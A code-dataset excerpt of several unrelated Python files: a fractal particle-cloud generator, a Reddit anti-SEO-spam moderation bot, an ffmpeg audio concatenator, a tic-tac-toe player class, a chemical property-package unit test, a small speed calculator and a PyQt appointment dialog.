range(x.size):\n xi = x[i]\n yi = y[i]\n zi = z[i]\n \n if xi < 0:\n x[i] = xi + L\n if xi > L:\n x[i] = xi - L\n if yi < 0:\n y[i] = yi + L\n if yi > L:\n y[i] = yi - L\n if zi < 0:\n z[i] = zi + L\n if zi > L:\n z[i] = zi - L\n \n cloud = np.zeros([x.size,3])\n cloud[:,0] = x\n cloud[:,1] = y\n cloud[:,2] = z\n \n return cloud\n\ndef generateUniformCloud(D,N,L,C):\n dummy = np.zeros([1,3])\n density = np.zeros([C,C,C]) + 1300\n return dummy , density\n\ndef generateSampCloud(D,N,L,C):\n dummy = np.zeros([1,3])\n density = np.load('sampledensity.npy')\n density *= 1.3e53 / (L/C)**3\n return dummy , density\n\ndef generateCloud(D,N,L,C):\n __p1__ = np.zeros([N,3])\n __p2__ = np.zeros([N**2,3])\n __p3__ = np.zeros([N**3,3])\n __p4__ = np.zeros([N**4,3])\n delta = np.exp(np.log(N)/D)\n print(\"Delta: \" + str(delta))\n \n for i in range(N):\n __r1__ = np.random.uniform(0,1,3)\n __p1__[i,:] = (L)*__r1__\n \n for n in range(N):\n __origin__ = np.copy(__p1__[n,:])\n for m in range(N):\n __r2__ = np.random.uniform(-1,1,3)\n __p2__[m+n*N, :] = (L/(2*delta))*__r2__ + __origin__\n \n for k in range(N**2):\n __origin__ = np.copy(__p2__[k,:])\n for q in range(N):\n __r3__ = np.random.uniform(-1,1,3)\n __p3__[q+k*N, :] = (L/(2*delta))*__r3__ + __origin__\n \n for l in range(N**3):\n __origin__ = np.copy(__p3__[l,:])\n for h in range(N):\n __r4__ = np.random.uniform(-1,1,3)\n __p4__[h+l*N, :] = (L/(2*delta))*__r4__ + __origin__\n \n \n cloud = np.concatenate((__p1__, __p2__, __p3__, __p4__), axis=0)\n cloudbn = hardWallBound(cloud,L)\n \n density = np.histogramdd(cloudbn,bins = (C,C,C),range=[(0,L),(0,L),(0,L)])\n# print(\"The cluster lentgh: \" + str(L/(2*delta)))\n \n return cloudbn , density[0]\n","sub_path":"Cloud.py","file_name":"Cloud.py","file_ext":"py","file_size_in_byte":2555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"549250376","text":"import praw\nimport time\nimport os\nfrom retrying import retry\nfrom collections import deque\nfrom collections import OrderedDict\nimport re\nfrom requests.exceptions import HTTPError\nimport requests\n\n#initialize reddit\nuser_agent='SEO_Killer - Justiciar Module by /u/captainmeta4 - see /r/SEO_Killer'\nr=praw.Reddit(user_agent=user_agent)\nheaders={'User-Agent': user_agent}\n\n#set globals\nusername = 'SEO_Killer'\npassword = os.environ.get('password')\n\nmaster_subreddit=r.get_subreddit('SEO_Killer')\n\n\n#Ignore list - Justiciar will neither record deletions nor alert mods for domains\n#domains on this list.\nignore_domains=['imgur.com', 'i.imgur.com', 'reddit.com', 'redd.it']\n\n\n\nclass Bot(object):\n\n @retry(wait_exponential_multiplier=1000, wait_exponential_max=10000)\n def login_bot(self):\n\n print(\"logging in...\")\n r.login(username, password)\n print(\"success\")\n\n @retry(wait_exponential_multiplier=1000, wait_exponential_max=10000) \n def load_caches(self):\n #load already-processed submissions cache and modlist cache\n print(\"loading caches\")\n \n try:\n self.listing = eval(r.get_wiki_page(master_subreddit,\"justiciar_listing\").content_md)\n print(\"justiciar listing cache loaded\")\n except HTTPError as e:\n if e.response.status_code == 403:\n print(\"incorrect permissions\")\n r.send_message(master_subreddit,\"Incorrect permissions\",\"I don't have access to the justiciar_listing wiki page\")\n elif e.response.status_code == 404:\n print(\"justiciar_listing cache not loaded. Starting with blank listing\")\n self.listing={}\n for subreddit in r.get_my_moderation():\n self.listing[subreddit.display_name]=OrderedDict()\n \n r.edit_wiki_page(master_subreddit,'justiciar_listing',str(self.listing))\n elif e.response.status_code in [502, 503, 504]:\n print(\"reddit's crapping out on us\")\n raise e #triggers the @retry module\n else:\n raise e\n\n try:\n self.deletions = eval(r.get_wiki_page(master_subreddit,\"deletions\").content_md)\n print(\"deletions cache loaded\")\n except HTTPError as e:\n if e.response.status_code == 403:\n print(\"incorrect permissions\")\n r.send_message(master_subreddit,\"Incorrect permissions\",\"I don't have access to the deletions wiki page\")\n elif e.response.status_code == 404:\n print(\"deletions cache not loaded. Starting with blank deletions cache\")\n self.deletions={}\n elif e.response.status_code in [502, 503, 504]:\n print(\"reddit's crapping out on us\")\n raise e #triggers the @retry module\n else:\n raise e\n\n try:\n self.already_done = eval(r.get_wiki_page(master_subreddit,\"justiciar_alreadydone\").content_md)\n print(\"already done cache loaded\")\n except HTTPError as e:\n if e.response.status_code == 403:\n print(\"incorrect permissions\")\n r.send_message(master_subreddit,\"Incorrect permissions\",\"I don't have access to the justiciar_alreadydone wiki page\")\n elif e.response.status_code == 404:\n print(\"already-done cache not loaded. Starting with blank deletions cache\")\n self.already_done=deque([],maxlen=200)\n elif e.response.status_code in [502, 503, 504]:\n print(\"reddit's crapping out on us\")\n raise e #triggers the @retry module\n else:\n raise e\n\n def load_options(self):\n try:\n self.options = eval(r.get_wiki_page(master_subreddit,\"options\").content_md)\n print(\"options cache loaded\")\n except HTTPError as e:\n if e.response.status_code == 403:\n print(\"incorrect permissions\")\n r.send_message(master_subreddit,\"Incorrect permissions\",\"I don't have access to the options wiki page\")\n elif e.response.status_code == 404:\n print(\"already-done cache not loaded. Starting with blank options cache\")\n self.options={}\n elif e.response.status_code in [502, 503, 504]:\n print(\"reddit's crapping out on us\")\n raise e #triggers the @retry module\n else:\n raise e\n #@retry(wait_exponential_multiplier=1000, wait_exponential_max=10000) \n def get_ids_of_new(self, subreddit, quantity):\n\n #Returns submissions as an OrderedDict of submission id's and authors\n\n print ('getting ids of posts in /r/'+subreddit.display_name+'/new')\n\n self.new=OrderedDict()\n \n for submission in subreddit.get_new(limit=quantity):\n\n try:\n self.new[submission.id]=submission.author.name\n except AttributeError:\n #This error happens wherever there's a [deleted] post in the /new queue.\n #[deleted] in /new only happens when the owner deleted their reddit account.\n #So we can safely ignore these.\n pass\n\n return self.new\n\n def break_into_100(self, ids):\n\n brokenlist=[]\n while len(ids)>0:\n brokenlist.append(ids[0:min(100,len(ids))])\n del ids[0:min(100,len(ids))]\n\n return brokenlist\n\n @retry(wait_exponential_multiplier=1000, wait_exponential_max=10000)\n def find_deletions(self, subreddit):\n\n print ('checking for possible deletions in /r/'+subreddit.display_name)\n\n\n #Assemble the list of ids to check\n\n ids=[]\n for entry in self.listing[subreddit.display_name]:\n ids.append('t3_'+entry)\n\n idlists=self.break_into_100(ids)\n\n for idlist in idlists:\n for submission in r.get_info(thing_id=idlist):\n if not isinstance(submission.author, praw.objects.Redditor):\n \n \n print('deletion detected: http://redd.it/'+submission.id+\" by /u/\"+self.listing[subreddit.display_name][submission.id])\n\n #check whitelists\n if (any(domain in submission.domain for domain in self.options[submission.subreddit.display_name]['domain_whitelist'])\n or self.listing[submission.subreddit.display_name][submission.id] in self.options[submission.subreddit.display_name]['user_whitelist']):\n print('but user or domain is whitelisted')\n self.listing[subreddit.display_name].pop(submission.id)\n continue\n \n #set up new author if needed\n if self.listing[submission.subreddit.display_name][submission.id] not in self.deletions:\n self.deletions[self.listing[subreddit.display_name][submission.id]]={}\n\n #set up new domain within that author, if needed\n if submission.domain not in self.deletions[self.listing[subreddit.display_name][submission.id]]:\n self.deletions[self.listing[subreddit.display_name][submission.id]][submission.domain]=[]\n \n #and finally, append the deleted submission id, if needed\n if entry not in self.deletions[self.listing[subreddit.display_name][submission.id]][submission.domain]:\n self.deletions[self.listing[subreddit.display_name][submission.id]][submission.domain].append(submission.id)\n\n #Pop the deletion from the listing so that the post isn't continuously re-checked\n self.listing[subreddit.display_name].pop(submission.id)\n\n\n #@retry(wait_exponential_multiplier=1000, wait_exponential_max=10000)\n def check_new_submissions(self):\n\n print('checking new submissions for reposts')\n\n for submission in r.get_subreddit('mod').get_new(limit=200):\n\n #pass if alert has been triggered\n if submission.id in self.already_done:\n continue\n\n #pass if OP deleted their reddit account\n if not isinstance(submission.author, praw.objects.Redditor):\n continue\n\n #Pass if /r/SEO_Killer, or if a new subreddit that was added during the cycle\n #or if subreddit is ignored\n if (submission.subreddit == master_subreddit\n or submission.subreddit.display_name not in self.listing\n or self.options[submission.subreddit.display_name]['justiciar_ignore']):\n continue\n\n #add submission to listing if its not already there\n if submission.id not in self.listing[submission.subreddit.display_name]:\n self.listing[submission.subreddit.display_name][submission.id]=submission.author.name\n \n #Pass if the author has no recorded deletions\n #or if auhor is whitelisted\n if (submission.author.name in self.options[submission.subreddit.display_name]['user_whitelist']\n or submission.author.name not in self.deletions):\n continue\n\n #pass if the author has no recorded deletions from that domain,\n #or if it's a selfpost\n #or if domain is whitelisted\n if (submission.domain not in self.deletions[submission.author.name]\n or submission.domain == 'self.'+submission.subreddit.display_name\n or any(domain in submission.domain for domain in self.options[submission.subreddit.display_name]['domain_whitelist'])):\n continue\n\n #At this point we know that the user is deleting+reposting the domain,\n #but first check if the alert has already triggered\n\n \n\n self.already_done.append(submission.id)\n\n print('Deletion+repost detected in /r/'+submission.subreddit.display_name+' by /u/'+submission.author.name)\n \n msg=(\"I've caught the following user deleting and reposting a domain:\"+\n \"\\n\\n**User:** /u/\"+submission.author.name+\n \"\\n\\n**Domain:** [\"+submission.domain+\"](http://reddit.com/domain/\"+submission.domain+\")\"+\n \"\\n\\n**Permalink:** [\"+submission.title+\"](\"+submission.permalink+\")\"+\n \"\\n\\nPast [deleted] submissions by /u/\"+submission.author.name+\" to \"+submission.domain+\":\\n\")\n\n for entry in self.deletions[submission.author.name][submission.domain]:\n msg=msg+\"\\n* http://redd.it/\"+entry\n\n msg=msg+\"\\n\\n*If this domain is spam, consider reporting it to /r/SEO_Killer*\"\n\n\n #send modmail\n r.send_message(submission.subreddit,'Deletion+repost detected',msg)\n\n @retry(wait_exponential_multiplier=1000, wait_exponential_max=10000)\n def save_caches(self):\n\n print('saving caches')\n\n #we're treating the OrderedDicts in self.listing like deques,\n #so remove the old submission entries to keep it at 1k per subreddit\n for entry in self.listing:\n while len(self.listing[entry]) > 300:\n self.listing[entry].popitem(last=False)\n \n #save the listings cache\n r.edit_wiki_page(master_subreddit,'justiciar_listing',str(self.listing))\n\n #save the deletions cache\n r.edit_wiki_page(master_subreddit,'deletions',str(self.deletions))\n\n #save the already-done cache\n r.edit_wiki_page(master_subreddit,'justiciar_alreadydone',str(self.already_done))\n\n def check_messages(self):\n\n print(\"Checking messages\")\n\n for message in r.get_unread(limit=None):\n\n #Ignore post replies\n if message.subject == \"comment reply\":\n message.mark_as_read()\n continue\n\n #Just assume all messages are a mod invite, and fetch modlist if invite accepted\n try:\n\n #Don't accept mod invites for over-18 subreddits\n if message.subreddit.over18:\n message.mark_as_read()\n message.reply(\"Sorry, I don't moderate over-18 subreddits.\")\n continue\n \n r.accept_moderator_invite(message.subreddit.display_name)\n print(\"Accepted moderator invite for /r/\"+message.subreddit.display_name)\n\n #make a new options set if necessary\n if message.subreddit.display_name not in self.options:\n self.options[message.subreddit.display_name]={\"remove_blacklisted\":False, 'domain_whitelist':[], 'user_whitelist':[], 'justiciar_ignore': False}\n r.edit_wiki_page(master_subreddit,'options',str(self.options))\n \n #send greeting\n msg=(\"Hello, moderators of /r/\"+message.subreddit.display_name+\"!\\n\\n\"+\n \"I am a collection of three bots designed to help curb SEO spam on reddit.\"+\n \"Executioner maintains a global blacklist of sites known to engage in SEO spam.\"+\n \"To toggle Executioner's global ban list between Report mode and Remove mode, send me a PM with the subreddit name as the subject and `remove_blacklisted' as the message body. \"+\n \"\\n\\n('Posts' permissions is necessary for Remove mode. The default mode is Report.)\"+\n \"\\n\\nExecutioner will also send you a weekly update with any domains that have been added to or removed from my global ban list. \"+\n \"If you wish to override the global ban list for any particular domain, please make use of my per-subreddit whitelist feature.\"+\n \"\\n\\nJusticiar will alert you when a user is detected deleting-and-reposting to a particular domain. \"+\n \"It needs 'posts' permissions (to view the /about/spam page), though; otherwise deletion detection will be too inefficient to operate on your subreddit.\"+\n \"\\n\\nFinally, Guardian will quietly analyze domain submission statistics, and post possible spam domains to /r/SEO_Killer for human review.\"+\n \"\\n\\nFor more information, see my [subreddit](/r/SEO_Killer) and my [guide page](/r/SEO_Killer/wiki/guide). My code is on [GitHub](https://github.com/captainmeta4/SEO_Killer)\"+\n \"\\n\\nFeedback may be directed to my creator, /u/captainmeta4. Thanks for using me!\")\n r.send_message(message.subreddit,\"Hello!\",msg)\n\n message.mark_as_read()\n \n continue\n except:\n pass\n\n #Whitelist-related commands. Enclosed in try to protect against garbage input\n\n try:\n if message.author in r.get_moderators(message.subject):\n\n if message.subject not in self.options:\n msg=(\"I don't have options data for that subreddit. Either I'm not a moderator there, or you mistyped the subreddit name.\"+\n '\\n\\nNote that you must correctly capitalize the subreddit name - for example, \"SEO_Killer\" would be correct, while \"seo_killer\" would not be.')\n r.send_message(message.author, \"Error\", msg)\n message.mark_as_read()\n continue\n\n #Read whitelist\n if message.body == \"whitelist\":\n print(\"whitelist query from /u/\"+message.author.name+\" about /r/\"+message.subject)\n msg = \"The following domains are in the /r/\"+message.subject+\" domain whitelist:\\n\"\n\n self.options[message.subject]['domain_whitelist'].sort()\n self.options[message.subject]['user_whitelist'].sort()\n \n if len(self.options[message.subject]['domain_whitelist'])==0:\n msg=msg + \"\\n* *none*\"\n else:\n for entry in self.options[message.subject]['domain_whitelist']:\n msg = msg +\"\\n* \"+entry\n\n msg=msg+\"\\n\\nThe following users are in the /r/\"+message.subject+\" user whitelist:\\n\"\n\n if len(self.options[message.subject]['user_whitelist'])==0:\n msg=msg + \"\\n* *none*\"\n else:\n for entry in self.options[message.subject]['user_whitelist']:\n msg = msg +\"\\n* \"+entry\n \n\n r.send_message(message.author,\"Whitelist for /r/\"+message.subject,msg)\n\n message.mark_as_read()\n\n continue\n\n #modify whitelist\n else:\n #domain whitelist\n if self.is_valid_domain(message.body):\n\n if message.body in self.options[message.subject]['domain_whitelist']:\n self.options[message.subject]['domain_whitelist'].remove(message.body)\n print(message.body+\" removed from domain whitelist for /r/\"+message.subject)\n message.reply(message.body+\" removed from domain whitelist for /r/\"+message.subject)\n r.edit_wiki_page(master_subreddit,\"options\",str(self.options),reason=message.body+\" removed from domain whitelist for /r/\"+message.subject+\"by /u/\"+message.author.name)\n message.mark_as_read()\n continue\n else:\n self.options[message.subject]['domain_whitelist'].append(message.body)\n print(message.body+\" added to domain whitelist for /r/\"+message.subject)\n message.reply(message.author,\"Domain Whitelist Modified\",message.body+\" added to domain whitelist for /r/\"+message.subject)\n r.edit_wiki_page(master_subreddit,\"options\",str(self.options),reason=message.body+\" added to domain whitelist for /r/\"+message.subject+\"by /u/\"+message.author.name)\n message.mark_as_read()\n continue\n #user whitelist\n elif self.is_valid_username(message.body):\n if message.body in self.options[message.subject]['user_whitelist']:\n self.options[message.subject]['user_whitelist'].remove(message.body)\n print(\"/u/\"+message.body+\" removed from user whitelist for /r/\"+message.subject)\n message.reply(message.body+\" removed from user whitelist for /r/\"+message.subject)\n r.edit_wiki_page(master_subreddit,\"options\",str(self.options),reason=message.body+\" removed from user whitelist for /r/\"+message.subject+\"by /u/\"+message.author.name)\n message.mark_as_read()\n continue\n else:\n self.options[message.subject]['user_whitelist'].append(message.body)\n print(message.body+\" added to user whitelist for /r/\"+message.subject)\n message.reply(message.body+\" added to user whitelist for /r/\"+message.subject)\n r.edit_wiki_page(master_subreddit,\"options\",str(self.options),reason=message.body+\" added to domain whitelist for /r/\"+message.subject+\"by /u/\"+message.author.name)\n message.mark_as_read()\n else:\n print(\"garbage message from /u/\"+message.author.name)\n r.send_message(message.author,\"Error\",\"This doesn't look like a valid username or domain:\\n\\n\"+message.body)\n message.mark_as_read()\n else:\n print(\"invalid message from /u/\"+message.author.name)\n r.send_message(message.author,\"Error\",\"You are not a moderator of /r/\"+message.subject)\n message.mark_as_read()\n except:\n pass\n \n def is_valid_domain(self, domain):\n if re.search(\"^[a-zA-Z0-9][-.a-zA-Z0-9]*\\.[-.a-zA-Z0-9]*[a-zA-Z0-9]$\",domain):\n return True\n else:\n return False\n\n def is_valid_username(self, username):\n \n if re.search(\"^/?u/[A-Za-z0-9_-]{3,20}$\",username):\n return True\n else:\n return False\n \n #@retry(wait_exponential_multiplier=1000, wait_exponential_max=10000) \n def run(self):\n\n self.login_bot()\n self.load_caches()\n\n while 1:\n\n print('running cycle')\n\n self.check_messages()\n self.load_options()\n\n for subreddit in r.get_my_moderation(limit=None):\n\n #Ignore /r/SEO_Killer and subreddits added during cycle\n #also ignore subreddits ignored by justiciar\n if (subreddit == master_subreddit\n or subreddit.display_name not in self.listing\n or self.options[subreddit.display_name]['justiciar_ignore']):\n continue\n \n self.find_deletions(subreddit)\n\n self.check_new_submissions()\n\n self.save_caches()\n \n\n#Master bot process\nif __name__=='__main__': \n modbot = Bot()\n \n modbot.run()\n","sub_path":"SEO_Justiciar.py","file_name":"SEO_Justiciar.py","file_ext":"py","file_size_in_byte":21965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"349005038","text":"from concurrent.futures import ProcessPoolExecutor\nfrom pathlib import Path as p\nfrom os import cpu_count,getcwd\nimport ffmpeg\n\nclass FFConcat:\n\n def __init__(self, path, check_files=False):\n\n self.check_files = check_files\n self.path = p(path)\n self.cores = cpu_count()\n self.batches = []\n\n def file_check(self):\n '''\n Optional:\n Iterates over folders in path, renames with leading zero for sorting if missing.\n '''\n for folder in sorted(self.path.iterdir()):\n # Folder names were originally \"Folder Name - [Disk 1]\"\n disk_number = folder.stem.split()[-1].strip(']')\n if len(disk_number) == 1:\n folder.rename('{}/Folder Name - Disk 0{}'.format(self.path, disk_number))\n elif len(disk_number) == 2:\n folder.rename('{}/Folder Name - Disk {}'.format(self.path, disk_number))\n\n def file_batch(self):\n '''\n Iterates over folders in path creating a list. Converts list into string format\n which is combined with resulting output filename in a dict and added to\n batch list.\n '''\n print('Batching audio files by folder.')\n for folder in sorted(self.path.iterdir()):\n # Use folder names as concat output name for final file.\n outfile = (self.path/'{}.mp3'.format(folder.stem)).as_posix()\n tracks = []\n # Create a list of sorted tracks in folder.\n for track in sorted(folder.iterdir()):\n tracks.append(track.as_posix())\n print('Located {} audio files in \\\"{}\\\"'.format(len(tracks), folder.stem))\n # Format file list in string format which ffmpeg will accept via input.\n file_list = '|'.join(_ for _ in tracks)\n # Generate list of dictionaries containing the file list and output filemame\n self.batches.append({\n 'file_list': file_list,\n 'outfile': outfile\n })\n\n def combine_audio(self, batch):\n '''\n Input: single dictionary containing a string formatted file list for each folder\n and output filename. Converts list into ffmpeg input concat object. Runs object\n with audio codec copy concatenating files within folder into single file.\n '''\n print('Starting concat for: {}'.format(batch['outfile']))\n tracks = ffmpeg.input('concat:{}'.format(batch['file_list']))\n tracks.output(batch['outfile'], acodec='copy').run()\n print('Completed concat for: {}'.format(batch['outfile']))\n\n def mp(self, function, iterable):\n '''\n Input: combine_audio function and batch list.\n Sets max workers depending on iterable length and core count.\n '''\n if len(iterable) >= self.cores:\n workers = self.cores\n elif len(iterable) < self.cores:\n workers = len(iterable)\n with ProcessPoolExecutor(max_workers=workers) as p:\n p.map(function, iterable)\n\n def run(self):\n\n if self.check_files:\n self.file_check()\n\n self.file_batch()\n\n if len(self.batches) == 1:\n print('One batch found. Sending directly to concatenator.')\n self.combine_audio(self.batches[0])\n elif len(self.batches) > 1:\n print('Sending {} batches to multi-processing.'.format(len(self.batches)))\n self.mp(self.combine_audio, self.batches)\n\ncurrent_path = getcwd()+\"/downloads\"\nconcat = FFConcat(path=current_path)\nconcat.run()","sub_path":"conv.py","file_name":"conv.py","file_ext":"py","file_size_in_byte":3611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"353911969","text":"# Player class file\n\nfrom errors import *\n\nclass Player():\n \"\"\" Player (user) class \"\"\"\n def __init__(self, game, cross=True, nought=False):\n self.game = game\n self.cross = cross\n self.nought = nought\n # determines what symbol the player is using\n if self.cross:\n self.type = \"X\"\n else:\n self.type = \"O\"\n\n def move(self):\n \"\"\" Places a nought or cross on the board \"\"\"\n try:\n self.game.app.write(\"Select a position to place an {} (X, Y): \".format(self.type))\n self.game.app.wait_variable(self.game.app.inputVariable)\n X, Y = self.game.app.inputVariable.get().strip().split()\n X, Y = int(X) - 1, int(Y) - 1\n # checks if the given input is a legal move\n if self.valid_move(X, Y):\n self.game.board[X][Y] = \" \" + \"{}\".format(self.type) + \" \"\n else:\n raise InvalidMoveError\n # input value is too large\n except IndexError:\n self.game.app.write(\"Your input must be between 1 and 3!!\")\n self.game.app.write(\"\")\n self.move()\n # move is illegal\n except InvalidMoveError:\n self.game.app.write(\"You cannot place a {} on a taken square!!\".format(self.type))\n self.game.app.write(\"\")\n self.move()\n return X, Y\n\n def valid_move(self, X, Y):\n \"\"\" Checks if the chosen move is legal \"\"\"\n if self.game.board[X][Y] == \" \":\n return True\n return False","sub_path":"player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":1562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"308589409","text":"##############################################################################\n# Institute for the Design of Advanced Energy Systems Process Systems\n# Engineering Framework (IDAES PSE Framework) Copyright (c) 2018-2020, by the\n# software owners: The Regents of the University of California, through\n# Lawrence Berkeley National Laboratory, National Technology & Engineering\n# Solutions of Sandia, LLC, Carnegie Mellon University, West Virginia\n# University Research Corporation, et al. All rights reserved.\n#\n# Please see the files COPYRIGHT.txt and LICENSE.txt for full copyright and\n# license information, respectively. Both files are also available online\n# at the URL \"https://github.com/IDAES/idaes-pse\".\n##############################################################################\n\"\"\"\nBenzene-Toluene phase equilibrium package using ideal liquid and vapor.\n\nExample property package using the Generic Property Package Framework.\nThis exmample shows how to set up a property package to do benzene-toluene\nphase equilibrium in the generic framework using ideal liquid and vapor\nassumptions along with methods drawn from the pre-built IDAES property\nlibraries.\n\"\"\"\n# Import Python libraries\nimport logging\nimport pytest\n\n# Import Pyomo units\nfrom pyomo.environ import ConcreteModel, units as pyunits\n\n# Import IDAES cores\nfrom idaes.core import AqueousPhase\nfrom idaes.core.components import *\n\nfrom idaes.generic_models.properties.core.state_definitions import FTPx\nfrom idaes.generic_models.properties.core.eos.enrtl import ENRTL\n\nfrom idaes.core import FlowsheetBlock\nfrom idaes.generic_models.properties.core.generic.generic_property import (\n GenericParameterBlock)\n\n\n# Set up logger\n_log = logging.getLogger(__name__)\n\n\n# ---------------------------------------------------------------------\n# Configuration dictionary for an ideal Benzene-Toluene system\n\n# Data Sources:\n# [1] The Properties of Gases and Liquids (1987)\n# 4th edition, Chemical Engineering Series - Robert C. Reid\n# [3] Engineering Toolbox, https://www.engineeringtoolbox.com\n# Retrieved 1st December, 2019\n\nconfiguration = {\n # Specifying components\n \"components\": {\n 'H2O': {\"type\": Solvent,\n \"parameter_data\": {\n \"mw\": (18E-3, pyunits.kg/pyunits.mol)}},\n 'CO2': {\"type\": Solute,\n \"parameter_data\": {\n \"mw\": (44E-3, pyunits.kg/pyunits.mol)}},\n 'KHCO3': {\"type\": Apparent,\n \"parameter_data\": {\n \"mw\": (100.1E-3, pyunits.kg/pyunits.mol)}},\n 'K+': {\"type\": Cation,\n \"charge\": +1,\n \"parameter_data\": {\n \"mw\": (39.1E-3, pyunits.kg/pyunits.mol)}},\n 'HCO3-': {\"type\": Anion,\n \"charge\": -1,\n \"parameter_data\": {\n \"mw\": (61E-3, pyunits.kg/pyunits.mol)}},\n 'N2': {\"type\": Component,\n \"parameter_data\": {\n \"mw\": (28E-3, pyunits.kg/pyunits.mol)}}},\n\n # Specifying phases\n \"phases\": {'Liq': {\"type\": AqueousPhase,\n \"equation_of_state\": ENRTL}},\n\n # Set base units of measurement\n \"base_units\": {\"time\": pyunits.s,\n \"length\": pyunits.m,\n \"mass\": pyunits.kg,\n \"amount\": pyunits.mol,\n \"temperature\": pyunits.K},\n\n # Specifying state definition\n \"state_definition\": FTPx,\n \"state_bounds\": {\"flow_mol\": (0, 100, 1000, pyunits.mol/pyunits.s),\n \"temperature\": (273.15, 300, 500, pyunits.K),\n \"pressure\": (5e4, 1e5, 1e6, pyunits.Pa)},\n \"pressure_ref\": (101325, pyunits.Pa),\n \"temperature_ref\": (298.15, pyunits.K),\n\n # Defining phase equilibria\n }\n\n\n@pytest.mark.unit\ndef test_component_lists():\n m = ConcreteModel()\n\n m.fs = FlowsheetBlock(default={'dynamic': False})\n\n m.fs.props = GenericParameterBlock(default=configuration)\n\n m.fs.state_1 = m.fs.props.build_state_block(\n [1],\n default={\"defined_state\": True,\n \"species_basis\": \"true\"})\n\n m.fs.state_2 = m.fs.props.build_state_block(\n [1],\n default={\"defined_state\": True,\n \"species_basis\": \"apparent\"})\n\n assert m.fs.props._electrolyte\n\n assert m.fs.props.anion_set == [\"HCO3-\"]\n assert m.fs.props.cation_set == [\"K+\"]\n assert m.fs.props.solvent_set == [\"H2O\"]\n assert m.fs.props.solute_set == [\"CO2\"]\n assert m.fs.props._apparent_set == [\"KHCO3\"]\n assert m.fs.props._non_aqueous_set == [\"N2\"]\n\n assert m.fs.props.true_species_set == [\n \"HCO3-\", \"K+\", \"H2O\", \"CO2\", \"N2\"]\n assert m.fs.props.apparent_species_set == [\n \"H2O\", \"CO2\", \"KHCO3\", \"N2\"]\n assert m.fs.props.component_list == [\n \"HCO3-\", \"K+\", \"H2O\", \"CO2\", \"KHCO3\", \"N2\"]\n\n assert m.fs.props.true_phase_component_set == [\n (\"Liq\", \"HCO3-\"), (\"Liq\", \"K+\"), (\"Liq\", \"H2O\"),\n (\"Liq\", \"CO2\"), (\"Liq\", \"N2\")]\n assert m.fs.props.apparent_phase_component_set == [\n (\"Liq\", \"H2O\"), (\"Liq\", \"CO2\"), (\"Liq\", \"KHCO3\"), (\"Liq\", \"N2\")]\n\n assert m.fs.state_1[1].component_list is m.fs.props.true_species_set\n assert m.fs.state_2[1].component_list is m.fs.props.apparent_species_set\n\n assert m.fs.state_1[1].phase_component_set is \\\n m.fs.props.true_phase_component_set\n assert m.fs.state_2[1].phase_component_set is \\\n m.fs.props.apparent_phase_component_set\n","sub_path":"idaes/generic_models/properties/core/eos/tests/test_enrtl.py","file_name":"test_enrtl.py","file_ext":"py","file_size_in_byte":5502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"177418369","text":"#Autor: Aline Villegas Berdejo\r\n#Calcula la velocidad promedio de un viaje\r\n\r\ntiempo=int(input(\"Teclea el tiempo del viaje en horas: \"))\r\ndistancia=int(input(\"Teclea la distancia del viaje en kilometros: \"))\r\n\r\nvelocidad=tiempo / distancia\r\n\r\nprint(\"La Velocidad Promedio es: \", velocidad, \"km/h\")\r\n\r\n","sub_path":"EjercicioVelocidadPromedio.py","file_name":"EjercicioVelocidadPromedio.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"244949552","text":"from PyQt5.QtWidgets import QDialog, QLabel, QTextEdit\n\nfrom database import DataBase\n\n\nclass Information(QDialog):\n def __init__(self, name, time, day, doc_id):\n super().__init__()\n self.setGeometry(300, 300, 280, 350)\n self.setWindowTitle('Информация о записи')\n\n self.name = QLabel(self)\n self.name.setText(f'Пациент: {name}')\n self.name.move(10, 20)\n\n self.time = QLabel(self)\n self.time.setText(f'Время\\t{time}')\n self.time.move(10, 50)\n\n self.day = QLabel(self)\n self.day.setText(f'Дата:\\t{day}')\n self.day.move(10, 80)\n\n self.complaint_label = QLabel(self)\n self.complaint_label.setText(\"Жалобы:\")\n self.complaint_label.move(10, 110)\n\n self.con = DataBase()\n\n complaint = self.con.get_data(\"appointments\",\n \"reasons\",\n \"id_patients=\"\n \"(SELECT id FROM\"\n \" patients WHERE\"\n \" surname=? AND name=?)\"\n \" AND time=? AND day=? AND id_doctors=?\",\n (name.split()[0],\n name.split()[1],\n time, day, doc_id))[0][0]\n self.complaint = QTextEdit(self)\n self.complaint.setText(complaint)\n self.complaint.move(10, 130)\n self.complaint.setEnabled(False)\n","sub_path":"info_for_doc.py","file_name":"info_for_doc.py","file_ext":"py","file_size_in_byte":1569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"499901189","text":"import numpy as np\nimport re\n\n# Constants for augmentation layer\n# .../T1/training/zoom_factors.csv contain the scale factors of all the training samples from isotropic to 128x128x128\n# The augmentation values will be scaled using the average+std\nZOOM_FACTORS = np.asarray([0.5032864535069749, 0.5363100665659675, 0.6292598243796296])\nMAX_AUG_DISP_ISOT = 30\nMAX_AUG_DEF_ISOT = 6\nMAX_AUG_DISP = np.max(MAX_AUG_DISP_ISOT * ZOOM_FACTORS) # Scaled displacements\nMAX_AUG_DEF = np.max(MAX_AUG_DEF_ISOT * ZOOM_FACTORS) # Scaled deformations\nMAX_AUG_ANGLE = np.max([np.arctan(np.tan(10*np.pi/180) * ZOOM_FACTORS[1] / ZOOM_FACTORS[0]) * 180 / np.pi,\n np.arctan(np.tan(10*np.pi/180) * ZOOM_FACTORS[2] / ZOOM_FACTORS[1]) * 180 / np.pi,\n np.arctan(np.tan(10*np.pi/180) * ZOOM_FACTORS[2] / ZOOM_FACTORS[0]) * 180 / np.pi]) # Scaled angles\nGAMMA_AUGMENTATION = False\nBRIGHTNESS_AUGMENTATION = False\nNUM_CONTROL_PTS_AUG = 10\nNUM_AUGMENTATIONS = 5\n\nIN_LAYERS = (0, 3)\nOUT_LAYERS = (33, 39)\n\nENCONDER_LAYERS = (3, 17)\nDECODER_LAYERS = (17, 